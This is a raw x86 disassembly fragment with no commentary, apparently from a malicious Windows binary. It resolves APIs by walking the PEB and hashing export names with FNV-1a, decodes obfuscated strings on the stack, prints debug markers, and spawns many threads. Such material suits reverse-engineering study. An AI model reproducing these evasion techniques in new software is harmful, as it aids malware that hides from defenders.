lea ecx, [ebp - 0x388]
call fcn.00402660
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.00465c60
push 0
push 0x1bcd
call fcn.00407d20
add esp, 8
push eax
call edi
cmp dword [0x533af4], 0
je 0x460353
mov ecx, 0x533ae4
call fcn.004027a0
push 0x520af0
push eax
call fcn.004de700
add esp, 8
test eax, eax
je 0x46047e
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x100]
call fcn.00402810
push 1
push 0x520830
lea ecx, [ebp - 0x100]
call fcn.00402830
push edi
lea ecx, [ebp - 0x20c]
call fcn.00402810
push 1
push 0x520af0
lea ecx, [ebp - 0x20c]
call fcn.00402830
lea eax, [ebp - 0x100]
mov ecx, 0x533ae4
push eax
lea edx, [ebp - 0x20c]
call fcn.0040c730
add esp, 4
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x100]
call fcn.00402660
mov ecx, 0x533ae4
call fcn.004027a0
push 0x520af0
push eax
call fcn.004de700
add esp, 8
test eax, eax
jne 0x4603f2
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x1007d75
call fcn.0040a420
push eax
lea ecx, [ebp - 0x600]
call fcn.00402700
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0x100726c
call fcn.0040a420
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402700
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x144], 0x1007165
call fcn.0040a420
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00402700
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x1006566
call fcn.0040a420
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00402700
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x1007272
call fcn.0040a420
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402700
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x1006c6a
call fcn.0040a420
push eax
lea ecx, [ebp - 0x588]
call fcn.00402700
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x1006f6c
call fcn.0040a420
push eax
lea ecx, [ebp - 0x570]
call fcn.00402700
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x1006273
call fcn.0040a420
push eax
lea ecx, [ebp - 0x558]
call fcn.00402700
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1006972
call fcn.0040a420
push eax
lea ecx, [ebp - 0x540]
call fcn.00402700
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x1007266
call fcn.0040a420
push eax
lea ecx, [ebp - 0x528]
call fcn.00402700
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.004629d0
lea ecx, [ebp - 0x420]
push dword [eax + 4]
push dword [eax]
call fcn.004622f0
push fcn.00402660
push 0xa
push 0x18
lea eax, [ebp - 0x600]
push eax
call fcn.004dd0f6
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x420]
call fcn.0046ab30
test eax, eax
je 0x46063b
movaps xmm0, xmmword [0x525fc0]
lea ecx, [ebp - 0x2bc]
movups xmmword [ebp - 0x2bc], xmm0
mov dword [ebp - 0x2ac], 0x1004b44
call fcn.0040ef00
push 0x520a88
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x46063b
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.gert4634
call ebx
call fcn.0041f300
call fcn.0041f370
call fcn.0041f3e0
call fcn.0041f450
call fcn.0041f4c0
mov ecx, 0x5360c8
call fcn.00463610
test al, al
je 0x46097c
mov ecx, 0x5360c8
call fcn.00463630
test al, al
jne 0x46097c
lea ecx, [ebp - 0x1be]
mov dword [ebp - 0x1be], 0x48485a40
mov dword [ebp - 0x1ba], 0x5c4e5f74
mov dword [ebp - 0x1b6], 0x5f554a
mov byte [ebp - 0x1b2], 1
call fcn.0040da00
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.00463620
test al, al
je 0x46097c
lea ecx, [ebp - 0x1cb]
mov dword [ebp - 0x1cb], 0x48485a40
mov dword [ebp - 0x1c7], 0x5c4e5f74
mov dword [ebp - 0x1c3], 0x5f554a
mov byte [ebp - 0x1bf], 1
call fcn.0040da00
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x166]
mov byte [0x533aab], al
mov dword [ebp - 0x166], 0x48485a40
mov dword [ebp - 0x162], 0x4a5874
mov byte [ebp - 0x15e], 1
call fcn.0040b8b0
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x31]
mov byte [0x533ac5], al
mov dword [ebp - 0x31], 0x48485a40
mov dword [ebp - 0x2d], 0x5e4874
mov byte [ebp - 0x29], 1
call fcn.0040b8b0
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x66]
mov byte [0x533aaa], al
mov dword [ebp - 0x66], 0x48485a40
mov dword [ebp - 0x62], 0x424c5b74
mov dword [ebp - 0x5e], 0x41455543
mov word [ebp - 0x5a], 0x100
call fcn.0040eed0
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x1da]
mov byte [0x533aa9], al
mov dword [ebp - 0x1da], 0x48485a40
mov dword [ebp - 0x1d6], 0x47454574
mov dword [ebp - 0x1d2], 0x405e445c
mov word [ebp - 0x1ce], 0x4a
mov byte [ebp - 0x1cc], 1
call fcn.0040a710
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x170]
mov byte [0x533ac4], al
mov dword [ebp - 0x170], 0x48485a40
mov dword [ebp - 0x16c], 0x5e594a74
mov word [ebp - 0x168], 0x100
call fcn.0040ee70
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x1a4]
mov byte [0x533ac6], al
mov dword [ebp - 0x1a4], 0x48485a40
mov dword [ebp - 0x1a0], 0x434c4b74
mov dword [ebp - 0x19c], 0x100434a
call fcn.0040eea0
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
mov byte [0x533aa8], al
movaps xmm0, xmmword [str._ZHHtAH_U_UVFF]
lea ecx, [ebp - 0x399]
movups xmmword [ebp - 0x399], xmm0
mov byte [ebp - 0x389], 1
call fcn.0040ee40
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x17a]
mov byte [0x533ac8], al
mov dword [ebp - 0x17a], 0x48485a40
mov dword [ebp - 0x176], 0x405d5a74
mov word [ebp - 0x172], 0x100
call fcn.0040ee70
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
lea ecx, [ebp - 0x184]
mov byte [0x533ac7], al
mov dword [ebp - 0x184], 0x754c5b52
mov dword [ebp - 0x180], 0x4d435a43
mov word [ebp - 0x17c], 0x100
call fcn.0040ee70
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
movaps xmm0, xmmword [0x526200]
lea ecx, [ebp - 0xce]
mov byte [0x535eb3], al
movups xmmword [ebp - 0xce], xmm0
mov dword [ebp - 0xbe], 0x1005943
call fcn.0040ef00
push eax
mov ecx, 0x5360c8
call fcn.00469ec0
mov ecx, eax
call fcn.0046a130
mov byte [0x535e93], al
push 0x5204b8
lea ecx, [ebp - 0x304]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2ec]
call fcn.00402700
push 0x5204b8
lea ecx, [ebp - 0x2d4]
call fcn.00402700
lea eax, [ebp - 0x2a8]
mov ecx, 0x536180
push eax
call fcn.00463490
lea eax, [ebp - 0x344]
mov ecx, 0x536180
push eax
call fcn.00463420
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00467330
test al, al
jne 0x461078
mov ebx, dword [ebp - 0x10]
nop dword [eax + eax]
lea ecx, [ebp - 0x2a8]
call fcn.00462b60
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0xd9], 0x4f444949
mov edi, eax
mov word [ebp - 0xd5], 0x100
call fcn.00462f90
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.00479ac0
movaps xmm0, xmmword [0x526760]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0xb665d59
mov word [ebp - 0xbc], 0x100
call fcn.00462d20
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465880
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x460c1e
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x134], 0x5f454951
mov word [ebp - 0x130], 0x4e
mov byte [ebp - 0x12e], 1
call fcn.004631b0
lea eax, [ebp - 0x134]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.00479ac0
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465c90
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x145b4a1b
mov word [ebp - 0x3e], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465880
cmp eax, 0xffffffff
je 0x460c1e
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x100222a
call fcn.00463110
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460b54
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402830
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0x145b4a1b
mov word [ebp - 0x92], 0x100
call fcn.00462f90
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402810
lea ecx, [ebp - 0x96]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460ba2
sub ecx, edx
lea eax, [ebp - 0x96]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402830
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x304]
call fcn.0040c730
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0x145b4a1b
mov word [ebp - 0x3e], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465880
cmp eax, 0xffffffff
jne 0x460b31
lea ecx, [ebp - 0xe5]
mov dword [ebp - 0xe5], 0x4f444949
mov word [ebp - 0xe1], 0x100
call fcn.00462f90
lea eax, [ebp - 0xe5]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.00479ac0
movaps xmm0, xmmword [0x526760]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x8665d59
mov word [ebp - 0xbc], 0x100
call fcn.00462d20
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465880
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x460e2d
lea ecx, [ebp - 0x11f]
mov dword [ebp - 0x11f], 0x5f454951
mov word [ebp - 0x11b], 0x4e
mov byte [ebp - 0x119], 1
call fcn.004631b0
lea eax, [ebp - 0x11f]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.0046a000
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465c90
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x145b4a1b
mov word [ebp - 0x44], 0x100
call fcn.00462f90
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465880
cmp eax, 0xffffffff
je 0x460e2d
nop
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x100222a
call fcn.00463110
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460d63
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402830
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x145b4a1b
mov word [ebp - 0x98], 0x100
call fcn.00462f90
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402810
lea ecx, [ebp - 0x9c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460db1
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402830
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2ec]
call fcn.0040c730
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0x145b4a1b
mov word [ebp - 0x44], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465880
cmp eax, 0xffffffff
jne 0x460d40
lea ecx, [ebp - 0xdf]
mov dword [ebp - 0xdf], 0x4f444949
mov word [ebp - 0xdb], 0x100
call fcn.00462f90
lea eax, [ebp - 0xdf]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.00479ac0
movaps xmm0, xmmword [0x526760]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x9665d59
mov word [ebp - 0xbc], 0x100
call fcn.00462d20
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465880
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x46104d
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0x5f454951
mov word [ebp - 0x122], 0x4e
mov byte [ebp - 0x120], 1
call fcn.004631b0
lea eax, [ebp - 0x126]
mov ecx, edi
push eax
call fcn.00469ec0
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.0046a000
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465c90
lea ecx, [ebp - 0x370]
call fcn.00402660
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x145b4a1b
mov word [ebp - 0x4a], 0x100
call fcn.00462f90
push esi
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465880
cmp eax, 0xffffffff
je 0x46104d
nop
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x100222a
call fcn.00463110
push ebx
lea ecx, [ebp - 0x20c]
call fcn.00402810
lea ecx, [ebp - 0x84]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460f80
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402830
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0x145b4a1b
mov word [ebp - 0xa6], 0x100
call fcn.00462f90
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402810
lea ecx, [ebp - 0xaa]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460fd1
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402830
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2d4]
call fcn.0040c730
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0x145b4a1b
mov word [ebp - 0x4a], 0x100
call fcn.00462f90
push 0
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465880
cmp eax, 0xffffffff
jne 0x460f50
lea ecx, [ebp - 0x2a8]
call fcn.00462b10
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00467330
test al, al
je 0x4609f0
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x2d4]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.00465e10
call fcn.00409520
add esp, 0x48
cmp byte [0x535eb9], 0
jne 0x461f8b
call fcn.0044ad80
call fcn.0044d390
push str.eger_43_634
call ebx
mov ecx, 0x536044
call fcn.00462720
mov ecx, 0x536168
call fcn.00462720
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44db80
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44f190
push 0
push 0
mov dword [ebp - 0x24], eax
call esi
push 0
push 0
push 0
push 0x453350
push 0
push 0
mov dword [ebp - 0x28], eax
call esi
mov dword [ebp - 0x3c], eax
call fcn.0043ba00
test al, al
je 0x4611b6
lea ecx, [ebp - 0x3e0]
call fcn.0043bc90
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x434e474b
mov edi, eax
mov dword [ebp - 0x1c], 0x1005f45
call fcn.00410550
sub esp, 0x10
mov dword [ebp - 0x198], 0x465c4971
mov esi, esp
mov dword [ebp - 0x194], 0x6b64735f
mov ecx, edi
mov word [ebp - 0x190], 0x100
push eax
call fcn.00469ec0
push eax
mov ecx, esi
call fcn.00463910
lea ecx, [ebp - 0x198]
call fcn.0040ee70
push eax
mov ecx, 0x536100
call fcn.00469ec0
mov ecx, eax
call fcn.004638d0
lea ecx, [ebp - 0x3e0]
call fcn.004638b0
call fcn.0043bc60
lea ecx, [ebp - 0x358]
call fcn.0043cb50
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0x434e474b
mov edi, eax
mov dword [ebp - 0x148], 0x1005f45
call fcn.00462c60
movaps xmm0, xmmword [0x526250]
lea ecx, [ebp - 0x298]
movups xmmword [ebp - 0x298], xmm0
mov dword [ebp - 0x288], 0x1004b5b
call fcn.00462e10
sub esp, 0x10
lea eax, [ebp - 0x14c]
mov esi, esp
mov ecx, edi
push eax
call fcn.00469ec0
push eax
mov ecx, esi
call fcn.00463910
lea eax, [ebp - 0x298]
mov ecx, 0x536100
push eax
call fcn.00469ec0
mov ecx, eax
call fcn.004638d0
push dword [ebp - 0x358]
lea ecx, [ebp - 0x350]
call fcn.004674a0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4612b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4612b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4612b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461295
cmp esi, 0x71948ca4
je 0x4612bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461280
mov eax, dword [eax]
jmp 0x461255
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0
push 0x4a410
call fcn.00407d20
add esp, 8
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461369
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461369
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461362
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461345
cmp esi, 0x71948ca4
je 0x46136d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461330
mov eax, dword [eax]
jmp 0x461305
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461404
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461404
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4613fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4613e0
cmp esi, 0xfaba0065
je 0x461408
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4613c6
mov eax, dword [eax]
jmp 0x4613a0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461494
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461494
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46148d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461470
cmp esi, 0xfaba0065
je 0x461498
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461458
mov eax, dword [eax]
jmp 0x461432
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461524
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461524
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46151d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461500
cmp esi, 0xfaba0065
je 0x461528
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4614e8
mov eax, dword [eax]
jmp 0x4614c2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x453910
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4552b0
push 0
push 0
mov dword [ebp - 0x24], eax
call ebx
push 0
push 0
push 0
push 0x4582e0
push 0
push 0
mov dword [ebp - 0x28], eax
call ebx
push 0
push 0
push 0
push 0x45a540
push 0
push 0
mov dword [ebp - 0x3c], eax
call ebx
push 0
push 0
push 0
push 0x45d030
push 0
push 0
mov dword [ebp - 0x78], eax
call ebx
push 0
push 0
push 0
push 0x45d180
push 0
push 0
mov dword [ebp - 0x6c], eax
call ebx
push 0
push 0
push 0
push 0x45ec80
push 0
push 0
mov dword [ebp - 0x74], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x70], eax
mov ecx, esp
push 0x533ae4
call fcn.00465e10
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x18
lea eax, [ebp - 0x27c]
mov ecx, esp
push eax
call fcn.00465e10
sub esp, 0x18
mov ecx, esp
push 0x533afc
call fcn.00465e10
call fcn.0040da30
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461694
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461694
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46168d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461670
cmp esi, 0x71948ca4
je 0x461698
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461656
mov eax, dword [eax]
jmp 0x461630
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461729
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461729
